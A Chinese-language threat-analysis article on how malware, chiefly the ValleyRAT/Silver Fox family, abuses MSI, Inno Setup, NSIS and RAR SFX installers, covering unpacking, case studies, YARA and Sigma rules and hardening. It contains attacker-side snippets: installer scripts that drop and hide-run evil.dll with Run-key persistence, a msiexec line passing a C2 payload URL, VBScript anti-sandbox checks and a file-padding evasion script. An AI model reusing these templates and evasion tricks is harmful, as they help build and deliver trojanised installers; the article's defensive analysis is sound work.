目录
1. Windows 安装包技术基础 2. MSI 安装包技术详解 3. EXE 安装包制作技术 4. 安装包拆解与逆向分析技术 5. 木马利用安装包的典型案例 6. 银狐木马安装包植入技术深度拆解 7. 检测与防御方案 8. 附录:工具清单
一、Windows 安装包技术基础
1.1 安装包核心分类
| MSI | ||||
| EXE | ||||
| APPX/MSIX | ||||
| RAR SFX |
1.2 木马为何偏爱安装包
安装包天然具备以下 对攻击者极为有利 的特性:
1. 合法进程出身:安装程序(setup.exe, msiexec.exe)是系统信任的进程,EDR 对其行为基线较宽 2. 多阶段释放:安装过程天然涉及"释放文件→创建目录→写注册表→启动进程",与恶意行为高度重叠,难以区分 3. 签名可伪造/盗用:攻击者可以申请合法证书签名安装包,或盗用泄露的私钥签名 4. 用户心理惯性:用户对"安装软件"这一行为警惕性低,尤其是安装"正常功能"的软件时 5. 持久化天然入口:安装包可以合法创建开机启动项、服务、计划任务 6. 静默安装参数: /S,/silent,/qn等参数可实现完全无界面安装
二、MSI 安装包技术详解
2.1 MSI 文件结构
MSI 文件本质是一个 COM结构化存储(Compound File) 数据库,内部包含多个表(Table),遵循 Windows Installer 规范。
┌──────────────────────────────────────────┐│ MSI Windows Installer Package (.msi) │├──────────────────────────────────────────┤│ Compound File Header (COM结构存储头) │├──────────────────────────────────────────┤│ _Tables 流 ││ ├── Feature (功能定义) ││ ├── Component (组件定义) ││ ├── File (文件表) ││ ├── Directory (目录结构) ││ ├── Registry (注册表操作) ││ ├── CustomAction (自定义动作) ★ 关键 ││ ├── Binary (嵌入二进制数据) ★ 关键 ││ ├── Property (安装属性) ││ └── ... │├──────────────────────────────────────────┤│ _Streams (嵌入文件流,如 Cabinets) │└──────────────────────────────────────────┘2.2 关键表结构
Feature (功能)
Feature | Title | Level | DescriptionMainProduct | 主程序 | 1 | 核心功能模块PluginModule | 插件 | 2 | 可选插件Component (组件)
Component | ComponentId | Directory_ | KeyPathMainExe | {GUID} | INSTALLDIR | app.exeMaliciousDLL | {GUID} | INSTALLDIR | evil.dllFile (文件表)
File | Component_ | FileName | FileSize | Version | Languageapp.exe | MainExe | app.exe | 1024000 | 1.0.0 | 1033evil.dll | MaliciousDLL| evil.dll | 256000 | |CustomAction (自定义动作 — 木马核心关注点)
CustomAction 是 MSI 安装包中 最危险 的功能,允许安装过程中执行任意代码:
| EXE 执行 | |||
| DLL 调用 | 银狐常用 | ||
| VBScript | |||
| JScript | |||
| 目录下的EXE |
Binary 表(安装包内嵌二进制)
Binary 表存储 不超过 65535 字节的二进制数据,常用于嵌入:
• CustomAction 所需的 DLL/EXE • VBScript/JScript 脚本 • 图标、位图等资源
⚠ 攻击者视角:Binary 表中的数据不直接以文件形式落地,静态扫描引擎通常不会深入解析 MSI Binary 表,这是经典的 静态免杀盲区。
2.3 msiexec.exe 关键命令行参数
# 标准安装(带UI)msiexec /i package.msi# 静默安装(无UI)★ 木马常用msiexec /i package.msi /qn /norestart# 被动安装(仅进度条)msiexec /i package.msi /passive# 传递属性(木马动态参数)msiexec /i package.msi /qn CUSTOM_VAR="http://c2-server/payload"# 提取文件(不安装)msiexec /a package.msi /qb TARGETDIR=C:\extract\# 日志(调试)msiexec /i package.msi /l*v install.log2.4 MSI 安装流程(关键阶段)
1. 获取源 → 2. 解析MSI数据库 → 3. 构建执行脚本 → 4. UiSequence (UI序列) → 5. ExecuteSequence (执行序列) → InstallInitialize(开始事务) → ProcessComponents(处理组件) → UninstallComponents(卸载旧版) → **InstallFiles**(释放文件)→ **WriteRegistryValues**(写注册表) → **CustomActions**(自定义动作 — 攻击点) → InstallFinalize(提交事务) → 6. 清理木马关键阶段:CustomActions 和 InstallFiles 是主要的恶意代码执行点。
三、EXE 安装包制作技术
3.1 主流安装包制作工具对比
| Inno Setup | |||||
| NSIS | |||||
| Advanced Installer | |||||
| InstallShield | |||||
| RAR SFX | |||||
| 7-Zip SFX | |||||
| Smart Install Maker | |||||
| WiX Toolset | |||||
| Setup Factory |
3.2 Inno Setup 深度分析
Inno Setup 是 木马团伙最常用的安装包工具,原因:
1. 完全免费,无功能限制 2. Pascal 脚本编译,反编译后仍可读 3. 支持 静默安装 ( /VERYSILENT /SUPPRESSMSGBOXES)4. 支持 文件预加载、注册表操作、运行程序 5. 生成的安装包结构相对标准,但可自定义加壳
Inno Setup 安装包结构:
┌─────────────────────────────────────┐│ Setup.exe (Inno Setup 安装程序壳) │├─────────────────────────────────────┤│ [Overlay] 安装数据段 ││ ├── Setup.e32 (配置脚本的编译数据) ││ ├── Setup-0.bin (第1个数据文件) ││ ├── Setup-1.bin (第2个数据文件) ││ └── ... │└─────────────────────────────────────┘Inno Setup 关键脚本指令(木马视角):
[Setup]AppName=伪装程序名 ; 显示合法名称Uninstallable=no ; 禁用卸载 ⚠CreateUninstallRegKey=no ; 不留卸载注册表DisableProgramGroupPage=yesDisableDirPage=yes ; 用户不可选路径 ⚠[Files]; 释放恶意文件Source: "evil.dll"; DestDir: "{app}"; Flags: ignoreversionSource: "legit.exe"; DestDir: "{app}"; Flags: ignoreversion[Run]; 安装完成后立即执行 ★ 木马入口Filename: "{app}\legit.exe"; Parameters: ""; Flags: runhidden ; 隐藏运行 ⚠Filename: "{app}\evil.dll"; Flags: runhidden shellexec ; DLL注册 ⚠[Registry]; 持久化 — 开机自启动Root: HKCU; Subkey: "Software\Microsoft\Windows\CurrentVersion\Run"; \ ValueType: string; ValueName: "WindowsUpdate"; ValueData: "{app}\legit.exe"[Icons]; 创建伪装快捷方式Name: "{group}\Microsoft Edge"; Filename: "{app}\legit.exe"3.3 NSIS 深度分析
NSIS(Nullsoft Scriptable Install System)使用 脚本编译为字节码,反编译难度较高。
木马常用NSIS特性:
; 静默安装SilentInstall silent; 释放文件SetOutPath "$INSTDIR"File "evil.exe"File "legit.dll"; 隐藏运行ExecDos::exec /DETAILED /HIDE "$INSTDIR\evil.exe" "" ""; 写注册表持久化WriteRegStr HKCU "Software\Microsoft\Windows\CurrentVersion\Run" \ "WindowsService" "$INSTDIR\evil.exe"; 创建服务nsExec::Exec "sc create MaliciousService binPath= $INSTDIR\evil.exe start= auto"3.4 RAR SFX 自解压技术
RAR SFX 是 最简单、最难以检测 的安装包形式,银狐早期大量使用。
RAR SFX 结构:
┌──────────────────────────────────┐│ SFX 模块 (Default64.SFX) │├──────────────────────────────────┤│ RAR 压缩数据 (包含恶意文件) │├──────────────────────────────────┤│ SFX 脚本配置 (注释区) │└──────────────────────────────────┘SFX 脚本配置(木马常用):
; Setup= 安装完成后执行的文件Setup=legit.exe; TempMode= 在临时目录解压,不留痕迹 ★TempMode; Silent=1 完全静默,不显示解压过程 ★Silent=1; Overwrite=1 覆盖已存在文件Overwrite=1; Path 解压路径Path=%TEMP%\update3.5 Advanced Installer 与 InstallShield
Advanced Installer 可将项目导出为标准 MSI 格式,攻击者利用其 GUI 快速生成安装包:
• 支持 CustomAction 添加任意 EXE/DLL/VBScript • 支持 Prerequisites(先决条件)安装 .NET 或 VC++ 运行库,降低目标环境限制 • 支持 数字签名 一键签名
InstallShield 生成的安装包使用特有的 .cab 压缩格式(ISSetup.dll),拆解需要专用工具。
四、安装包拆解与逆向分析技术
4.1 MSI 拆解分析
4.1.1 基础拆解工具
| lessmsi | ||
| Orca (Windows SDK) | ||
| 7-Zip | ||
| MsiDb | ||
| dark.exe (WiX Toolset) |
4.1.2 使用 lessmsi 拆解
# 安装 lessmsi (choco)choco install lessmsi# 提取 MSI 中所有文件lessmsi x "C:\malware\payload.msi" "C:\extract\"# 查看 MSI 表结构lessmsi l "C:\malware\payload.msi"4.1.3 使用 Orca 分析 MSI 表结构
Orca 是分析 MSI 最直接的 GUI 工具,重点查看以下表:
1. CustomAction 表 ★ ★ ★ ★ ★ - 查看所有自定义动作,重点关注 Type=1 (DLL) 和 Type=18 (EXE) - DLL 动作需查看 Binary 表中的对应条目2. Binary 表 ★ ★ ★ ★ ★ - 存储嵌入的 DLL/EXE/脚本文件 - 右键 → Export → 提取为二进制文件3. File 表 ★ ★ ★ - 列出所有需要释放的文件 - 关注文件名、大小、版本4. Registry 表 ★ ★ ★ ★ - 注册表写入操作 - 持久化相关条目(Run键、服务路径)5. Property 表 ★ ★ - 安装属性 - 关注自定义属性(可能传递恶意参数)6. InstallExecuteSequence 表 ★ ★ ★ - 安装执行序列 - 关注 CustomAction 的执行阶段和时间点4.1.4 手动提取 Binary 表中的恶意载荷
# 使用 msiinfo (Windows SDK) 提取 Binary 表中的数据msiinfo export payload.msi Binary > binary_data.idt# 或使用 lessmsi 提取所有二进制流lessmsi x payload.msi "C:\extract"# 提取后用 hex 分析或直接逆向4.1.5 MSI 恶意行为检测脚本(PowerShell)
# 检测 MSI 安装包中的可疑 CustomActionfunction Test-MaliciousMSI { param([string]$msiPath) $msi = New-Object -ComObject WindowsInstaller.Installer $db = $msi.GetType().InvokeMember("OpenDatabase", [System.Reflection.BindingFlags]::InvokeMethod, $null, $msi, @($msiPath, 0)) # 查询 CustomAction 表 $view = $db.GetType().InvokeMember("OpenView", [System.Reflection.BindingFlags]::InvokeMethod, $null, $db, @("SELECT * FROM CustomAction")) $view.GetType().InvokeMember("Execute", [System.Reflection.BindingFlags]::InvokeMethod, $null, $view, $null) $record = $view.GetType().InvokeMember("Fetch", [System.Reflection.BindingFlags]::InvokeMethod, $null, $view, $null) $actions = @() while ($record -ne $null) { $action = @{ Action = $record.GetType().InvokeMember("StringData", [System.Reflection.BindingFlags]::GetProperty, $null, $record, @(1)) Type = $record.GetType().InvokeMember("IntegerData", [System.Reflection.BindingFlags]::GetProperty, $null, $record, @(2)) Source = $record.GetType().InvokeMember("StringData", [System.Reflection.BindingFlags]::GetProperty, $null, $record, @(3)) Target = $record.GetType().InvokeMember("StringData", [System.Reflection.BindingFlags]::GetProperty, $null, $record, @(4)) } # Type 值判断 $typeDesc = switch ($action.Type) { 1 { "DLL (Binary)" } 6 { "VBScript (Binary)" } 17 { "EXE (Binary)" } 18 { "EXE (Binary)" } 34 { "JScript (Binary)" } 50 { "EXE (TargetDir)" } 65 { "DLL (File)" } default { "Type=$($action.Type)" } } Write-Host "[!] CustomAction: $($action.Action) | Type: $typeDesc" -ForegroundColor Yellow Write-Host " Source: $($action.Source) | Target: $($action.Target)" $actions += $action $record = $view.GetType().InvokeMember("Fetch", [System.Reflection.BindingFlags]::InvokeMethod, $null, $view, $null) } return $actions}4.2 EXE 安装包拆解
4.2.1 安装包类型识别
# 查看文件尾部特征字符串(识别安装包类型)# Inno Setup: "Inno Setup Setup Data" (文件尾)# NSIS: "Nullsoft Install System" (文件尾)# InstallShield: "InstallShield" (文件尾)# RAR SFX: "Rar!" (文件头) + SFX脚本在注释区# 7-Zip SFX: 7z文件尾# 使用 Detect It Easy (DiE) 或 Exeinfo PE 自动识别4.2.2 Inno Setup 解包
# 使用 InnoUnp (Inno Setup Unpacker)# 项目地址: https://github.com/wwh1004/InnoUnpinnounp.exe -x "C:\malware\inno_setup.exe" -d"C:\extract\"# 参数说明:# -x : 解压模式# -m : 仅提取文件清单# -d : 输出目录# 使用官方支持的 isx (支持最新版本)isx -d "C:\extract\" "C:\malware\inno_setup.exe"4.2.3 NSIS 解包
# 使用 7-Zip 可解包部分 NSIS 安装包(使用 NSIS 的固实压缩时无效)7z x "C:\malware\nsis_setup.exe" -o"C:\extract\"# 使用专用工具:# - NSIS Unpacker (nsisunpacker.py - Python脚本)# - un7b (支持较老版本)# - 7-Zip NSIS 插件# 关键:NSIS 脚本编译为字节码,很难反编译为原始脚本# 但可通过动态分析(运行+监控)获取行为4.2.4 RAR SFX 解包
# 方法1:使用 WinRAR 直接打开(自动识别为自解压包)WinRAR.exe e "C:\malware\sfx_setup.exe"# 方法2:使用 UnRAR 提取unrar e "C:\malware\sfx_setup.exe" "C:\extract\"# 方法3:使用 7-Zip 提取7z x "C:\malware\sfx_setup.exe" -o"C:\extract\"# 查看 SFX 脚本配置(注释区)unrar lt "C:\malware\sfx_setup.exe"4.2.5 InstallShield 解包
# 使用 i6comp/i5comp 解包 InstallShield CABi6comp.exe x "C:\malware\data1.cab" "C:\extract\"# 使用 Universal Extractor 2 自动识别并解包# UniExtract2 集成了多种解包引擎4.3 静态分析技术
4.3.1 安装包元数据提取
# 查看数字签名Get-AuthenticodeSignature -FilePath "C:\malware\setup.exe"# 查看文件版本信息(Get-Item "C:\malware\setup.exe").VersionInfo | Format-List *# 查看 PE 结构(如果是 EXE 安装包外壳)# 使用 sigcheck (Sysinternals)sigcheck -a "C:\malware\setup.exe"4.3.2 Hex 搜索特征
在安装包二进制中搜索以下关键字符串:
"CustomAction" → MSI 自定义动作"http://" → C2 地址/下载链接"https://" → C2 地址/下载链接"powershell" → PowerShell 执行"rundll32" → LOLBins"regsvr32" → LOLBins"mshta" → LOLBins"cmd.exe" → 命令行执行"/VERYSILENT" → Inno Setup 静默参数"/S" → NSIS 静默参数"/qn" → MSI 静默参数"TempMode" → RAR SFX 临时模式"Silent=1" → RAR SFX 静默模式"RunAfter" → 安装完成后执行4.3.3 熵值检测(检测加密/压缩载荷)
# 使用 PowerShell 计算文件块熵值function Get-FileEntropy { param([string]$path, [int]$blockSize = 4096) $bytes = [System.IO.File]::ReadAllBytes($path) $totalEntropy = 0.0 $blockCount = 0 for ($i = 0; $i -lt $bytes.Length; $i += $blockSize) { $block = $bytes[$i..[Math]::Min($i + $blockSize - 1, $bytes.Length - 1)] $freq = @{} foreach ($b in $block) { $freq[$b] = if ($freq.ContainsKey($b)) { $freq[$b] + 1 } else { 1 } } $entropy = 0.0 foreach ($count in $freq.Values) { $p = $count / $block.Length if ($p -gt 0) { $entropy -= $p * [Math]::Log($p, 2) } } $totalEntropy += $entropy $blockCount++ if ($entropy -gt 7.5) { Write-Host "[!] 高熵块: offset=0x$(($i).ToString('X8')) entropy=$([Math]::Round($entropy, 2))" -ForegroundColor Red } } $avgEntropy = $totalEntropy / $blockCount Write-Host "平均熵值: $([Math]::Round($avgEntropy, 2))" -ForegroundColor Cyan Write-Host "(正常PE: 4.0-6.5 | 加密/压缩壳: 7.0-8.0)" -ForegroundColor Gray}4.4 动态分析技术
4.4.1 安装监控工具
| Procmon (Process Monitor) | |
| API Monitor | |
| Wireshark | |
| FakeNet-NG | |
| RegShot | |
| Noriben | |
| CAPA |
4.4.2 Procmon 监控安装过程
# 启动 Procmon 过滤规则(分析安装包时)# 过滤 Process Name 包含 setup.exe, msiexec.exe# 过滤 Operation 包含 CreateFile, WriteFile, RegCreateKey, RegSetValue, Process Create# 过滤 Path 排除 C:\Windows\System32 的常规操作# 保存日志 → 过滤关键操作:# 1. 写入到非系统目录的 PE 文件# 2. 写入到 Run 键、服务键的注册表# 3. 创建新的进程(尤其是隐藏窗口)# 4. 网络连接4.4.3 API Monitor 动态分析
重点关注以下 API 调用序列:
1. 文件操作: - CreateFile (写入新文件) - WriteFile (写恶意代码) - DeleteFile (删自身痕迹)2. 进程操作: - CreateProcess (启动恶意进程) - CreateRemoteThread (注入) - WriteProcessMemory (内存写入)3. 注册表操作: - RegCreateKeyEx (持久化) - RegSetValueEx (持久化)4. 网络操作: - socket, connect (C2连接) - URLDownloadToFile (远程下载) - WinHttpOpen (HTTP通信)4.4.4 沙箱自动化分析
# 使用 Noriben 自动化沙箱python Noriben.py -t 120 --cmd "C:\malware\setup.exe /S"# 使用 CAPA 检测安装包行为capa.exe "C:\malware\setup.exe"五、木马利用安装包的典型案例
5.1 银狐木马安装包技术全景
银狐是目前 将安装包利用到极致 的木马家族,几乎用遍了所有主流安装包技术:
安装包技术时间线
2021 2022-2023 2024 2025-2026│ │ │ │RAR SFX白加黑 Inno Setup MSI CustomAction MSI + VBScript(简单免杀) (多阶段释放) DLL加载 + PNG隐写 │ │ Advanced Installer WiX MSI MSI商业工具滥用 多层解密链银狐各阶段安装包技术特征
5.2 经典案例一:RAR SFX + 白加黑(银狐早期)
感染流程:
用户双击 "2023年工资单.exe" │ ▼RAR SFX 自解压 → TempMode → %TEMP%\update\ │ ├── legit.exe (有数字签名的白文件,如迅雷/腾讯的某个组件) ├── evil.dll (恶意DLL,与某白文件的导入表DLL同名) └── 配置脚本 (Silent=1, Setup=legit.exe) │ ▼legit.exe 启动 → 加载同目录下 evil.dll (DLL劫持) │ ▼evil.dll → DllMain → 反调试检测 → 解密Shellcode → 反射加载 → 远程下载第二阶段Payload │ ▼最终:ValleyRAT 远控驻留关键免杀点:
1. RAR SFX 本身无数字签名要求,可随意修改 2. TempMode确保安装结束后自动删除释放的文件3. 白文件有合法签名,杀软不拦截 4. DLL 劫持利用的是合法白文件本身的特性
5.3 经典案例二:MSI CustomAction DLL(银狐中期)
感染流程:
用户双击 "企业补贴政策名单.msi" │ ▼msiexec.exe /i 解析 MSI 数据库 │ ▼读取 Binary 表 → 提取嵌入的恶意 DLL │ ▼ExecuteSequence → CustomAction → Type=1 (DLL+Binary) → 从 Binary 表提取 DLL │ ▼msiexec.exe 加载 DLL → 调用指定导出函数 │ ▼DLL 内部实现: 1. 读取 MSI 中加密的 all.zip 压缩包 2. 解密(密码:hello202411) 3. 释放白加黑文件(QMUpload.exe + 恶意DLL) 4. 创建服务 StartService → 服务路径指向 QMUpload.exe │ ▼最终:QMUpload.exe (白) → 加载恶意DLL → ValleyRAT关键免杀点:
1. MSI 格式绕过文件扩展名过滤(很多邮件网关不拦截 .msi)2. Binary 表中的 DLL 直接内存加载,不落地文件 3. msiexec.exe 是微软签名进程,行为基线宽 4. 使用 合法的商业安装包制作工具 (Advanced Installer) 签名
5.4 经典案例三:MSI + VBScript + MZ头重建(银狐新变种)
感染流程:
用户双击 "MSI安装包.msi" │ ▼msiexec.exe 解析 MSI │ ▼CustomAction Type=6 (VBScript嵌入在Binary表中) │ ▼VBScript 执行流程: │ ├── 步骤1: 读取 MSI Binary 表中存储的 two.txt(不含MZ头的PE) │ 16进制文本模式存储 │ ├── 步骤2: 补全 "MZ" 头 → 重建 PE 文件(tttssx.exe) │ 文件头体分离存储绕过静态检测 │ ├── 步骤3: 用 cmd.exe 反复启动 tttssx.exe(进程持久化) │ cmd /c tttssx.exe → tttssx.exe → 检测是否运行 │ → 未运行则 cmd 再次启动 → 循环 │ └── 步骤4: tttssx.exe 运行后下载后续阶段文件 eufRk5.exe + mscoree.dll (白利用) → CLRCreateInstance → 解密 → Shellcode → DLL加载 │ ▼最终:多层解密 → ValleyRAT关键免杀点:
1. PE 文件 头体分离:1.txt(头)+ 2.txt(体),完全逃逸 PE 静态扫描 2. 以 .txt文本存储,AV 不会扫描为 PE3. VBScript 在运行时组装,内存中重建 PE 4. 用 cmd 循环拉起,规避进程守护的监控
5.5 经典案例四:Advanced Installer 批量生成 MSI
银狐使用 Advanced Installer 批量生成恶意 MSI 的核心技术:
<!-- Advanced Installer 项目模板(银狐变种) --><AI> <MSI> <Properties> <Property Name="MANUFACTURER">Microsoft Corporation</Property> <Property Name="PRODUCT_NAME">Microsoft Edge Update</Property> </Properties> </MSI> <Files> <!-- 释放白加黑文件 --> <Component GUID="{malicious-GUID}"> <File Source="legit.exe" Target="legit.exe"/> <File Source="evil.dll" Target="version.dll"/> <!-- DLL侧加载 --> </Component> </Files> <CustomActions> <!-- 自定义动作:启动白文件触发DLL加载 --> <CustomAction Id="LaunchMalware" FileKey="legit.exe" ExeCommand="" Execute="deferred" Impersonate="no" Return="asyncNoWait"/> </CustomActions></AI>5.6 其他木马家族安装包利用案例
5.6.1 Emotet → NSIS 安装包
Emotet 大量使用 NSIS 制作的安装包作为初始载荷:
document.doc → macros → powershell → download NSIS installer │ ▼NSIS installer → Silent → 释放 DLL → regsvr32 注册 │ ▼DLL → 反射加载 → Emotet 核心模块5.6.2 QakBot → MSI + CAB 嵌套
Phishing email → link → download MSI │ ▼MSI → CustomAction → 释放 WSF (Windows Script File) │ ▼WSF → JScript → 下载下一阶段 DLL5.6.3 DarkGate → AutoIT 编译 + RAR SFX
RAR SFX (诈骗主题文件) → 释放 AutoIT 解释器 + .au3 脚本 │ ▼AutoIT3.exe → 加载编译的 .a3x 脚本文件 │ ▼从 Telegram 频道获取 C2 地址 → 多级解密5.6.4 LockBit 勒索软件 → MSI + GPO 分发
LockBit 通过 Active Directory GPO(组策略)下发恶意 MSI 到域内所有机器:
攻击者入侵域控 → GPO设置 → Computer Configuration → Software Installation → Assigned Application → malicious.msi │ ▼域内所有机器下次 gpupdate → msiexec /i 自动安装 │ ▼MSI → CustomAction → LockBit 勒索加密程序六、银狐木马安装包植入技术深度拆解
6.1 安装包与免杀的融合
银狐的安装包免杀体系是 多层次、立体化 的:
第1层: 格式免杀 ├── MSI 格式绕过静态扫描 ├── RAR SFX 无PE结构 └── PE文件头体分离(.txt存储)第2层: 签名免杀 ├── 盗用/购买合法数字签名 ├── 使用知名厂商签名文件(白利用) └── 使用合法工具签名(Advanced Installer自带签名)第3层: 执行免杀 ├── msiexec.exe 合法进程执行 ├── DLL侧加载(白文件加载黑DLL) └── LOLBins 连环调用第4层: 内容免杀 ├── 加密/压缩的Payload(高熵) ├── 文件膨胀(>50MB绕过云查杀) └── Shellcode分段加载6.2 MSI 恶意安装包制作流程
攻击者环境:┌────────────────────────────────────────────┐│ 步骤1: 准备恶意载荷 ││ evil.dll (反弹Shell) ││ ValleyRAT.exe (远控) ││ decrypt.ps1 (解密脚本) │├────────────────────────────────────────────┤│ 步骤2: 选择安装包工具 ││ Advanced Installer / WiX Toolset ││ Inno Setup / RAR SFX │├────────────────────────────────────────────┤│ 步骤3: 配置安装包逻辑 ││ 添加 CustomAction (DLL/EXE/VBScript) ││ 设置静默安装参数 ││ 配置释放路径(%TEMP% 或 %APPDATA%) ││ 添加持久化(Run键/服务/计划任务) │├────────────────────────────────────────────┤│ 步骤4: 签名 ││ 购买 Code Signing Certificate ││ 盗用泄露的私钥签名 ││ 使用 CRL 未撤销的过期证书 │├────────────────────────────────────────────┤│ 步骤5: 投放 ││ 钓鱼邮件附件 / 搜索引擎推广 / IM传播 ││ 文件名:工资单.msi / 企业补贴政策名单.msi │└────────────────────────────────────────────┘6.3 银狐安装包中常见的反分析技术
6.3.1 反沙箱检查
' MSI Binary 表中嵌入的 VBScript 反沙箱示例' 银狐变种 VBScript 反分析逻辑' 检查内存大小 (< 2GB → 沙箱)Set wmi = GetObject("winmgmts:\\.\root\cimv2")Set mem = wmi.ExecQuery("SELECT TotalPhysicalMemory FROM Win32_ComputerSystem")For Each m In mem If m.TotalPhysicalMemory < 2147483648 Then WScript.QuitNext' 检查 CPU 核心数 (< 2 → 沙箱)Set cpu = wmi.ExecQuery("SELECT NumberOfCores FROM Win32_Processor")For Each c In cpu If c.NumberOfCores < 2 Then WScript.QuitNext' 检查磁盘大小 (< 60GB → 沙箱)Set disk = wmi.ExecQuery("SELECT Size FROM Win32_DiskDrive")For Each d In disk If d.Size < 64424509440 Then WScript.QuitNext' 检查是否有常用分析工具进程analystTools = Array("procmon.exe", "processhacker.exe", "wireshark.exe", "x64dbg.exe", "ida.exe", "procexp.exe", "vmtoolsd.exe", "vboxservice.exe")For Each tool In analystTools Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") Set results = proc.ExecQuery("SELECT * FROM Win32_Process WHERE Name='" & tool & "'") If results.Count > 0 Then WScript.QuitNext6.3.2 动态解密的 Installer
银狐使用 SMC(Self-Modifying Code)技术对抗静态分析:
MSI Binary 表中的 DLL: 初始状态 → 加密数据(高熵) ↓DLL 加载到内存时: DllMain → 解密循环(XOR / AES 解密自身) ↓解密后: 原始恶意代码暴露 → 创建线程执行后续操作 ↓执行完成后: 再次加密内存中的代码 → 规避内存扫描6.3.3 文件膨胀免杀
# 在恶意 DLL 尾部填充无效数据到 245MB# 原因:多数云沙箱上传限制 50-100MB$evil = [System.IO.File]::ReadAllBytes("evil.dll")$filler = New-Object byte[] (245MB - $evil.Length)$result = $evil + $filler[System.IO.File]::WriteAllBytes("evil_padded.dll", $result)6.4 安装包植入木马的 MITRE ATT&CK 映射
七、检测与防御方案
7.1 静态检测规则
YARA 规则 — MSI 恶意安装包检测
rule Malicious_MSI_CustomAction_Execute{ meta: description = "检测 MSI 安装包中可疑的自定义动作" author = "Security Analyst" date = "2026-07-18" strings: $ca_dll = "CustomAction" nocase $dll_type1 = { 01 00 00 00 00 00 00 00 } // Type=DLL $dll_type17 = { 11 00 00 00 00 00 00 00 } // Type=EXE from Binary $vb_type = { 06 00 00 00 00 00 00 00 } // Type=VBScript $js_type = { 22 00 00 00 00 00 00 00 } // Type=JScript $silent = "/qn" nocase $ps = "powershell" nocase $url = { 68 74 74 70 73 3A 2F 2F } // "https://" $dll_name = ".dll" nocase condition: $ca_dll and (#dll_type1 > 2 or $vb_type or $js_type) and ($silent or $ps or $url)}rule Malicious_SFX_Silent{ meta: description = "检测 RAR SFX 自解压静默执行" strings: // SFX 脚本关键字 $silent = "Silent=1" nocase $temp_mode = "TempMode" nocase $setup = "Setup=" nocase $presetup = "Presetup=" nocase // 常见诱饵文件名 $salary = "工资" nocase $invoice = "发票" nocase $report = "报告" nocase $update = "update" nocase condition: $temp_mode and $silent and $setup and (#salary > 0 or #invoice > 0 or #report > 0 or #update > 0)}SIGMA 规则 — 事件日志检测
title: 通过 MSI 安装包执行可疑自定义动作id: d3c5a1e2-b6f4-4a9e-8c2d-1f7e3a5b9c0dstatus: experimentaldescription: 检测 msiexec.exe 通过 CustomAction 执行可疑 DLL/VBScriptreferences: - https://attack.mitre.org/techniques/T1218/007/tags: - attack.defense_evasion - attack.T1218.007logsource: product: windows service: process_creationdetection: selection: Image|endswith: '\msiexec.exe' CommandLine|contains: - '/i' - '/qn' filter_legit: ParentImage|endswith: - '\svchost.exe' - '\TrustedInstaller.exe' condition: selection and not filter_legitfalsepositives: - 合法软件批量部署(需根据环境基线调整)level: medium7.2 行为检测
7.3 防御加固方案
7.3.1 邮件网关层
1. 拦截附件中的 .msi .exe .scr .pif .bat .cmd .vbs .js .wsf 文件2. 对 .zip .rar .7z 等压缩包附件执行内容检测3. ISO/IMG 文件标记 MOTW(Mark of the Web)4. 禁用 Office 宏自动执行(组策略控制)7.3.2 终端防护层
# 1. AppLocker 策略 — 禁止非签名 MSI 安装# 执行: secpol.msc → 应用程序控制策略 → AppLocker# Windows Installer 规则:# - 允许: 发布者 = *O=Microsoft Corporation*# - 允许: 路径 = %WINDIR%\Installer\*# - 拒绝: 所有人# 2. WDAC (Windows Defender Application Control) 策略# 更细粒度的代码完整性控制New-CIPolicy -FilePath "C:\CI\block_unsigned_msi.xml" ` -UserPEs -Level SignedVersion -Fallback Hash# 3. 限制 msiexec.exe 执行权限# 对非管理员用户限制 msiexec /i 执行icacls C:\Windows\System32\msiexec.exe /deny "Users:(X)"7.3.3 网络层
1. 监控 msiexec.exe 的出站连接(Sysmon Event 3)2. 异常 SNI 检测(非标准域名、IP直接连接)3. 沙箱检测安装包的行为基线7.3.4 针对银狐安装包攻击的专项防御
| RAR SFX | TempMode + 执行文件的行为告警 |
| MSI CustomAction | |
| 白加黑 | |
| 文件头体分离 | |
| 文件膨胀 | |
| MZ头重建 |
7.4 应急响应流程
检测到恶意 MSI/EXE 安装包 │ ▼步骤1: 隔离受影响主机 ├── 断网 → 防止 C2 通信和横向移动 └── 保留进程内存(捕获无文件载荷) │ ▼步骤2: 取证 ├── 提取 MSI/EXE 文件 → 计算哈希 ├── 使用 Orca/msiinfo 分析 CustomAction ├── 提取 Binary 表中的 DLL/脚本 ├── 动态分析记录文件/注册表/进程行为 └── 检查内存中的反射加载模块 │ ▼步骤3: 清除 ├── 终止恶意子进程 ├── 删除释放的文件和服务 ├── 清理注册表持久化项 └── ⚠ 如果检测到内核级 RootKit → 建议重装系统 │ ▼步骤4: 溯源 ├── 分析安装包元数据(签名、时间戳) ├── 关联同源样本(TTPs 匹配) └── 提取 C2 域名/IP → 共享 IOC八、附录:工具清单
8.1 安装包分析工具
| lessmsi | activescott/lessmsi | |
| Orca | ||
| dark.exe | ||
| InnoUnp | wwh1004/InnoUnp | |
| isx | piedar/isx | |
| NSIS Unpacker | redoste/nsisunpacker | |
| Universal Extractor 2 | Bioruebe/UniExtract2 | |
| Detect It Easy (DiE) | horsicq/Detect-It-Easy | |
| Exeinfo PE | ||
| 7-Zip |
8.2 动态分析工具
| Process Monitor (Procmon) | ||
| API Monitor | ||
| Wireshark | ||
| FakeNet-NG | mandiant/FakeNet-NG | |
| Noriben | Rurik/Noriben | |
| CAPA | mandiant/capa | |
| RegShot |
夜雨聆风